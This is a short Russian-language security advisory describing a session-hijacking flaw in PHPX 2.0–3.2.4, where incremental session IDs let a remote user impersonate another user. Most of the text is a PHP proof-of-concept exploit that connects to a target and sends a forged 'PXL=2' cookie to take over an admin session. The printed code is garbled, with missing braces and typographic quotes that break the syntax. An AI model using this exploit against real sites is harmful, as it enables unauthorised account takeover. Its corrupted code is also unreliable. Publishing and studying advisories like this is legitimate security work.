Программа: PHPX 2.0-3.2.4 

Уязвимость обнаружена в PHPX в аутентификации сессий. Удаленный пользователь может внедриться в сессию другого пользователя.
Удаленный пользователь может установить user ID к значению целевого пользователя с активной сессией. Программное обеспечение генерирует идентификатор сессии инкрементальным методом. 

Эксплоит: 

<?php
/* Proof of concept for exploiting PHPX 3.2.4 (http://www.phpx.org) */
/* Quick hack, not really an affective tool, only useful as a
demonstration */
/* Written by HelloWorld — Ryan Wray */

/* Usage: php -q exploit_file.php <host> <port>
<admin_folder_location> */
function usage()

echo «Usage request»;

function bytes_left($fp)

$status=socket_get_status($fp);
if($status[‘unread_bytes’] > 0) { return true; }
return false;

print_r($_SERVER[‘argv’]);
if($_SERVER[‘argc’] != 4)

exit(usage());

// Attempt to connect to host.
$fp=@fsockopen($_SERVER[‘argv’][1],$_SERVER[‘argv’][2]);

if(!$fp)

exit(‘Could not connect to host:
‘.$_SERVER[‘argv’][1].’:’.$_SERVER[‘argv’][2]);

else

fputs($fp,»GET «.$_SERVER[‘argv’][3].»index.php HTTP/1.1\r\n»);
fputs($fp,»Host: «.$_SERVER[‘argv’][1].»\r\n»);
fputs($fp,»Cookie: PXL=2\r\n\r\n»);

// Start accepting data, otherwise socket_get_status will say there are 0
unread bytes.
echo fgets($fp,1024);
// While we can read.
while(bytes_left($fp))

echo fgets($fp,1024);

// Close the socket.
fclose($fp);
?>



Оставить мнение